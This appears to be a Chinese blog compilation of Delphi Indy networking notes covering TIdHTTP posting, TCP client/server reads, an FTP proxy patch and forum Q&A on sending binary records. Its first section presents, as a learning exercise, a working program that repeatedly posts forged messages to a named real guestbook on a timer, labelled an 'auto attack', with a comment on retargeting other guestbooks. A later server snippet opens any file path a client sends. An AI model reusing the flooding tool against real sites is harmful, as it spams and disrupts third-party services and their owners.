学习indy组件
来源:互联网 发布:linux 删除几个文件 编辑:程序博客网 时间:2024/06/05 17:30
学习indy组件
1、学习indy组件之一idhttp的使用方法,学习定时器用法,学习分析html页面,程序容错处理
预备知识 IdHTTP组件是Indy组件的一部分,主要用于实现读取HTTP服务器的资源,可以实现浏览器的网络功能。
IdHTTP是从TIdCustomHTTP继承来的,基本上也就是换了一个比较简单的名字给类和属性而已,它本身没有自己的函数和过程,全是从TIdCustomHTTP继承来的。基本上用得到的两个方法是Get(两个重载类型)和Post(四个重载类型)。
idhttp的post方法:
function Post(AURL: string; const ASource: TStrings): string; overload;
function Post(AURL: string; const ASource: TStream): string; overload;
function Post(AURL: string; const ASource: TIdMultiPartFormDataStream): string; overload;
procedure Post(AURL: string; const ASource: TStrings; const AResponseContent: TStream); overload;
procedure Post(AURL: string; const ASource: TStream; const AResponseContent: TStream); overload;
procedure Post(AURL: string; const ASource: TIdMultiPartFormDataStream; AResponseContent: TStream); overload;
2、异常响应为开发者提供了一个按自己的需要进行异常处理的机制。主要异常处理有两种: try except end
try finally
try …except …end形成了一个异常响应保护块。与finally不同的是:正常情况下except 后面的语句并不被执行,而当异常发生时程序自动跳到except,进入异常响应处理模块。当异常被响应后异常类自动清除。相关文章http://www.fosu.edu.cn/netschool/delphi/029.htm
主要代码
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, ExtCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Memo1: TMemo;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
Button1: TButton;
Button2: TButton;
Edit4: TEdit;
Label6: TLabel;
IdHTTP1: TIdHTTP;
Memo2: TMemo;
Label7: TLabel;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
mytemp:tStringList; //变量定义
sex:string;
begin
if RadioButton1.Checked=true then begin //判断性别
sex:=RadioButton1.Caption;
end;
if RadioButton2.Checked=true then begin
sex:=RadioButton2.Caption;
end;
//以下值都来自http://www.gxxezz.com/liuyan/index.asp的页面分析,分析出其中的必要的提交元素,不要忘记hidden类型的
mytemp:=tStringList.Create;
mytemp.Add('NAME='+edit1.Text);
mytemp.Add('sex='+sex);
mytemp.Add('email='+edit2.Text);
mytemp.Add('WEB='+edit3.Text);
mytemp.Add('MESSAGE='+Memo1.Lines.Text);
mytemp.Add('Send=1'); //这个是个隐藏属性,一定得加啊
try
IdHTTP1.Post('http://www.gxxezz.com/liuyan/index.asp',mytemp); //idhttp提交post请求,如果攻击其他的留言本得更换提交地址
except
Memo2.Lines.Add('估计是成功了'); //发送完毕记录
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if timer1.Enabled=false then
begin
timer1.Interval:=strtoint(Edit4.Text); //设定攻击间隔
timer1.Enabled:=true; //激活定时器
Button2.Caption:='停止攻击'; //改变按钮文字
end
else begin
timer1.Enabled:=false; //停止定时器
Button2.Caption:='自动攻击'; //改变按钮文字
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
application.ProcessMessages; //防止界面死掉
Button1Click(self); //按照设定的时间间隔自动点击发送按钮
end;
end.
--------------------------------------------------------------------------------
关于Indy Tcpserver和Tcpclient
--------------------------------------------------------------------------------
用了Indy以后我不担心多线程的问题。我的客户端和服务器端需要多次传送不同性质的数据,所以服务器端是否要使用循环代码读取客户端的内容?客户端通过发送不同的前缀让服务器知道并接收其后的数据。请高手解答。
--------------------------------------------------------------------------------
procedure TMainFrm.IdTCPServerExecute(AThread: TIdPeerThread);
var
MyRec : ClientWareRecord;
SourceBmp : TBitmap;
fbuf1:TMemoryStream;
LibHandle: THandle;
Jpg:Tjpegimage;
protsTmp,strmypath,strMyip:string;
ShowCalendar:Procedure(SourceBmp: TBitmap; Width, Height: Integer; JpgPath :string);
Com, // System command
Msg,sTmp : String;
begin
AThread.connection.ReadBuffer(MyRec,SizeOf(MyRec));
if MyRec.ClientComType = MP_GETTBMPTOTJPG then
begin
try
SourceBmp := TBitmap.Create;
SourceBmp.PixelFormat := pf24bit;
SourceBmp.LoadFromFile(MyRec.ServerPath);
jpg := TJPEGImage.Create;
jpg.Assign(SourceBmp);
//jpg.SaveToFile(JpgPath);
//===================================================================
fbuf1:=TMemoryStream.Create;
//===================================================================
jpg.SaveToStream(fbuf1);
SourceBmp.FreeImage;
FreeAndNil(SourceBmp);
FreeAndNil(jpg);
AThread.Connection.OpenWriteBuffer;
AThread.Connection.Writestream(fbuf1,true,false);
finally
AThread.Connection.CloseWriteBuffer;
end;
end;
end;
--------------------------------------------------------------------------------
up
--------------------------------------------------------------------------------
谢谢,测试完毕立即给分。
使用Indy的TCPclinet测试HTTP服务 [阅读全文(34) | 回复(1) | 引用通告(0) | 编辑]
今天终于弄出来了,适用INDY的sendcmd,试验过各种参数,包括那个不明确要求结果的-1,但总是回答不能得到正确的回应,苦恼,后来没有办法,用了TCPCLIENT的低级方法iohandle,发出请求得到回应,还是那个要注意GET / HTTP/1.0必须后面加两组回车换行,不然不完整命令。
With myTcpClient
.Host = "2.2.1.1"
.Port = 80
Try
.Connect()
Dim mycmd As String = "GET / HTTP/1.0" + vbCrLf + vbCrLf
Dim bmycmd As Byte() = Encoding.ASCII.GetBytes(mycmd)
.IOHandler.WriteDirect(bmycmd)
Dim ret As String = .IOHandler.ReadString(15)
Dim require As String = "HTTP/1.1 200 OK"
Dim result As Boolean = IIf(require = ret, True, False)
MsgBox(result, MsgBoxStyle.OKOnly, "hi")
Catch ex As Exception
MsgBox(ex.ToString, MsgBoxStyle.Critical, "Error!")
Finally
.Disconnect()
End Try
End With
--------------------------------------------------------------------------------
关于Indy TCP Client控件的讨论(二) [阅读全文(21) | 回复(0) | 引用通告(0) | 编辑]
其实Indy比较简单,但是可以提供的方法太多了。我找了很久,才搞明白。
比方说这个读取缓冲区的数据,就有很多种方法。相对于TTcpClient的几种方法来说,TIdTCPClient确实提供了多种选择,不仔细研究真的容易糊涂(其实我比较喜欢用CurrentReadBuffer):
1、ReadFromStack
原型:function ReadFromStack(const ARaiseExceptionIfDisconnected: boolean; const ATimeout: integer; const AUseBuffer: boolean; ADestStream: TIdBuffer): integer; virtual;
用于判断缓冲区里是否还有数据可读,返回值:Integer - Number of bytes read.
2、CurrentReadBuffer
原型:function CurrentReadBuffer: string;
用于读取Socket数据到缓冲区,注意返回为String类型,如果直接显示该String的数据,对于/0之后的数据可能看不到,因此要读取所有的数据,还必须利用CurrentReadBufferSize()判断该String的长度。
返回值:String - Contents of the Indy buffer.
3、GetResponse
原型:function GetResponse(const AAllowedResponses: Array of SmallInt): SmallInt; virtual;
对于简单的命令应答可以使用这个方法获取应答消息,返回值:SmallInt - The numeric response number.
4、ReadBuffer
原型:procedure ReadBuffer(var ABuffer; const AByteCount: Longint);
读取指定数目的字节到缓冲区ABuffer,注意它会调用 ReadFromStack 以检查缓冲区里的数据是否少于AByteCount
5、ReadInteger
原型:function ReadInteger(const AConvert: boolean): Integer;
从缓冲区中读取整型数据,它会调用ReadBuffer
6、ReadLn
原型:function ReadLn(const ATerminator: string; const ATimeout: integer): string; virtual;
读取移行记录,带有一个TimeOut属性,以防止在读不到新行时死循环。返回值:String - Line read from the buffer.
注意行分隔符可能是以下几种:
#0 - Default Line Feed (#10)
LF - Line Feed (#10)
CR - Carriage Return (#13)
EOL - End-of-line (Carriage Return + Line Feed)
7、ReadLnWait:
原型:function ReadLnWait: string;
很像ReadLn,但它会一直傻傻的等待
8、ReadSmallInt
原型:function ReadSmallInt(const AConvert: boolean): SmallInt;
9、ReadStream
原型:procedure ReadStream(AStream: TStream; AByteCount: LongInt; const AReadUntilDisconnect: boolean);
10、ReadString
原型:function ReadString(const ABytes: integer): string;
与CurrentReadBuffer的不同在于它读取指定长度的字符串
wlwsz
--------------------------------------------------------------------------------
IndyFTP 如何使用 SOCKET5 代理
作者: 不详 更新时间: 2004年9月14日
通过属性连接起来,就是IdFTp1.IOhandler:=idIOhanlderSocket1;
idIohandlerSocket1.SocksInfo:=idSocksInfo1的意思,不必写代码的,
设置好SocksInfo的版本为Socks5,Host为代理的IP或Domain Name,Port为代理的端口,就可以让IndyFTp通过协议为Socks5的代理服务器(防火墙)连接了,当然别忘记设置好IdFTp的ProxySettings的ProxyType哦,还有其他的,关于User@站点的是要根据你的代理服务器(防火墙)的支持协议而定,一般有好几种的:
Open FTP-Host:FTP-Port
SITE FTP-Host FTP-Port
SITE FTP-Host:FTP-Port
SITE FTP-User@FTP-Host FTP_port
SITE FTP-User@FTP-Host:FTP_port
USER FTP-User@FTP-Host FTP-Port
USER FTP-User@FTP-Host:FTP-Port
USER FTP-User@FTP-Host Proxy-User
USER Proxy-User@FTP-Host
CheckPoint Firewall:USER FTP-User@Proxy-User@FTP-Host / PASS pass@firewallpass
Indy只支持其中的几种,其他的自己添加。
看不懂?那是通过SendCmd的底层命令发送联接指令给代理服务器,由代理服务器解释以后,建立到外部FTP服务器的连接,因为你是不能直接连接到外部FTP的,记得就是这时一定要用Passive模式,因为你在防火墙之后,只有你可以主动访问外部,而外部不可以主动访问你,关于HTTP Proxy是怎样呢?也是差不多,就是复杂些:建立HTTP连接,通过SendCmd的底层命令发送Connect FTP:Port HTTP/1.0User-Agent: Mozilla/4.0 (compatible; LY FTP Explorer)Proxy-Connection: Keep-Alive等Http信息,是回车+换行,不管通过那一种连接,连接建立以后直接发送FTP命令就可以了,注意List和上传/下载(stor/retr)的时候会建立新的连接,这时候也要用上述方法建立,否者无法成功建立新的数据端口,SendCMD是Indy的通用命令,用于发送原始的TCP数据(ASCII码的),从这里下载Indy9.0.10: http://www.nevrona.com/indy/ 还有就是Indy本身就有很多的bug,我搞了半年才修正了不少,这个最新的也有不少噢,很对不起我不能提供修正版和完整的Proxy解决办法的源代码给各位,请大家见凉。
下面是Indy9.0.10修正版的片段代码:
// added by Liu Yang 2002.2.1
fpcmSiteHostPort: // Send command SITE (FTP-Host FTP-Port)
begin
if (Length(ProxySettings.UserName)>0) then begin
if SendCmd(‘USER ‘ + ProxySettings.UserName, [230, 331]) = 331 then begin
SendCmd(‘PASS ‘ + ProxySettings.Password, 230);
end; // 230是允许的FTP协议返回代码,
//详细的看RFC 959 http://www.rfc-editor.org/rfc/rfc959.txt
end;//proxy login
SendCmd(‘SITE ‘+FHost+‘ ‘+IntToStr(FPort));//? Server Reply? 220?
if SendCmd(‘USER ‘ + FUserName, [230, 331]) = 331 then begin
SendCmd(‘PASS ‘ + FPassword, 230);
end;
end; //fpcmSiteHostPort
。。。。
fpcmUserPass: //USER user@firewalluser@hostname / PASS pass@firewallpass
begin // check point firewall / added port by Liu Yang 2002.2.2
if SendCmd(Format(‘USER %s@%s@%s %d‘,[FUserName,ProxySettings.UserName,FHost,FPort]), [230, 331])=331 then begin
if Length(ProxySettings.Password)>0 then begin
SendCmd(‘PASS ‘+FPassword+‘@‘+ProxySettings.Password, 230);
end
else begin
SendCmd(‘PASS ‘+FPassword, 230);
end;//if @
end;
end;//fpcmUserPass
。。。。。。
procedure TIdFTP.Connect(AAutoLogin: boolean = True);
var
TmpHost: String;
TmpPort: Integer;
begin
try
//APR 011216: proxy support
TmpHost:=FHost;
TmpPort:=FPort;
try
if (ProxySettings.ProxyType>fpcmNone) and (Length(ProxySettings.Host)>0) then begin
FHost:=ProxySettings.Host;
FPort:=ProxySettings.Port;
end;
inherited Connect;
finally
FHost:=TmpHost;
FPort:=TmpPort;
end;//tryf
// fixed by Liu Yang 2002.2.1
if ProxySettings.ProxyType=fpcmNone then
begin // non-proxy connection
GetResponse([220]);
Greeting.Assign(LastCmdResult);
end else InputBuffer.Clear; // clear buffer for using proxy to connect
if AAutoLogin then begin
Login;
DoAfterLogin;
SendTransferType;
// OpenVMS 7.1 replies with 200 instead of 215 - What does the RFC say about this?
// Fix by Liu Yang 2002.6.9 for support Cisco FTP Server (It will reply 502)
if SendCmd(‘SYST‘, [200, 215, 500, 502]) = 500 then begin
FSystemDesc := RSFTPUnknownHost;
end else begin
FSystemDesc := LastCmdResult.Text[0];
end;
DoStatus(ftpReady);
end;
except
Disconnect;
raise;
end;
end;
http://www.blogchinese.com/user1/48317/archives/2005/82616.shtml
--------------------------------------------------------------------------------
通讯的问题(急得很)
--------------------------------------------------------------------------------
我现在要发送数据。
每次固定1k,数据是这样的。先是一个结构
Type Tcommand= record
commandid : integer;
datalength: integer;//表示后面还有多长字节的数据
end;
后面就是要发送的数据了。
我想问要怎么转化为字符流并用idTcpclient控件传出去。
c中的发送和接收是可以这样解决。可是在delphi中呢。还请赐教。最好有代码。
while(gogo)
{
test.commandid=100;
test.data1length=strlen(teststr);
memcpy(buf,&test,sizeof(struct command));
memcpy(buf+sizeof(struct command),teststr,strlen(teststr));
if(write(pclient->new_fd,buf,sizeof(struct command)+strlen(teststr))==-1)
{
fprintf(stderr,"Write Error:%s",strerror(errno));
gogo=0;
}
memset(buf,0,1024);
ret=read(pclient->new_fd,buf,1024);
if(ret==-1)
{
fprintf(stderr,"Read Error:%s",strerror(errno));
gogo=0;
}
if(ret>sizeof(struct command))
{
test.data1length=strlen(teststr);
memcpy(&test,buf,sizeof(struct command));
fprintf(stderr,"get data:%s.len:%u",buf+sizeof(struct command),ret);
fprintf(stderr,"get data:commandid:%u",test.commandid);
fprintf(stderr,"get data:data1length:%u",test.data1length);
}
else
{
buf[ret]='/0';
fprintf(stderr,"get unknow data:%s,len:%u",buf,ret);
}
}
fprintf(stderr,"close new_fd");
close(pclient->new_fd);
free(pclient);
return;
--------------------------------------------------------------------------------
直接用SendBuffer发送都可以的
http://lysoft.7u7.net
--------------------------------------------------------------------------------
上面的高手能详细的说清楚一下吗?拜托
--------------------------------------------------------------------------------
类似如下的代码,稍改一下,你就可以使用了。
Tcommand= packed record
commandid : integer;
datalength: integer;
end;
var
test:TCommand;
gogo:boolean;
teststr:pchar;
buf:array of char;
ret:integer;
begin
CopyMemory(teststr,pChar('hahahahaha'),10);
setlength(buf,30);
//////////////////////////////模拟写了几个数据
while(gogo) do
begin
test.commandid:=100;
test.datalength:=strlen(teststr);
CopyMemory(buf,@test,sizeof(Tcommand));
CopyMemory(pChar(integer(buf)+sizeof(TCommand)),teststr,strlen(teststr));
IdTCPClient1.Socket.Send(buf,test.datalength+sizeof(TCommand));
ZeroMemory(buf,1024);
......
end;
--------------------------------------------------------------------------------
做个记号希望以后有用!:)
--------------------------------------------------------------------------------
谢谢你给我的答复。对我很有用。不过还有些不了解的地方。比如说pchar(integer(buf)+sizeof(Tcommand)) 等等。请赐教。
还有。为什么要用idtcpclient1.Socket.send,用其他的的如idtcpclient1.writebuffer()可以吗?
还有我接收的时候要注意什么呢?(也用idtcpclient)
应用是服务器端是用c写,而客户端是用delphi。谢谢了
--------------------------------------------------------------------------------
我没用,看了一下帮助,没看到writebuffer(),应该也可以的。
pchar(integer(buf)+sizeof(Tcommand))
/////////////////
在d中,指针的运算相对C要弱很多,所以很多C里面很方便的指针操作这里就会复杂得多。
相当于C中的buf+sizeof(TCommand),
就是将buf指针通过integer转换成整形的地址,加上sizeof(
Tcommand)偏移量,为得到的新地址,整形的地址,再将这个地址强制转换成pChar指针。
接收的时候也没什么特别的,就是解包的时候用我上面的取地址的方法就OK了。
--------------------------------------------------------------------------------
使用writebuffer()类似这样发送:
var
Command : Tcommand;
begin
writebuffer(Command,SizeOf(Tcommand));
writebuffer(数据,SizeOf(数据));
end;
接收的时候用readbuffer()
var
Command : Tcommand;
begin
readbuffer(Command,SizeOf(Tcommand));
if command.commandid= 1 then
readbuffer(数据1,SizeOf(数据1))
else
readbuffer(数据2,SizeOf(数据2))
end;
--------------------------------------------------------------------------------
up
--------------------------------------------------------------------------------
WriteBuff可以,其实最简单的是用WriteStream,Stream本身就包含了发送数据的大小,在前4个字节,只要发送的数据不是太大,工作的很好。
http://www.uqa.cn/cnstu/3853/3853295.htm
- 学习indy组件
- Delphi 7的Indy网络组件学习笔记01
- indy
- FTP客户端(Delphi7&Indy组件实现)
- 用Indy组件开发Socket应用程序
- Delphi中Indy组件的卸载方法
- 用Indy组件开发Socket应用程序
- 用Indy组件开发Socket应用程序
- 用Indy组件开发Socket应用程序
- indy组件在2010的重装
- FastMM与Indy组件内存泄漏问题
- 关于delphi的网络组件indy的一些东西
- 用Indy组件在C++ Builder中编写UDP应用程序
- 关于Delphi 下indy Telnet 组件生成com的问题
- 利用Indy组件进行MD5验证简例
- Indy TCP/IP 组件里的几个常用方法
- 采访Indy和IntraWeb组件的主要开发者 Chad “Kudzu”
- Delphi:INDY组件IDFTP/IDHTTP的connecttimeout超时问题
- 设计模式笔记(11 OBSERVER & STATE)
- 用delphi实现冰河的远程屏幕操作功能
- 我只是个替代品
- 设计模式笔记(10 MEDIATOR & MEMENTO)
- 设计模式笔记(9 INTERPRETER & ITERATOR)
- 学习indy组件
- 设计模式笔记(8 CHAIN OF RESPONSIBILITY & COMMAND)
- 设计模式笔记(7 FLYWEIGHT & PROXY)
- 文件历遍搜索详解
- 设计模式笔记(6 FACADE)
- 设计模式笔记(5 COMPOSITE & DECORATOR)
- 实现QQ窗体的缩入伸出功能
- 设计模式笔记(4 ADAPTER & BRIDGE)
- 设计模式笔记(3 PROTOTYPE & SINGLETON)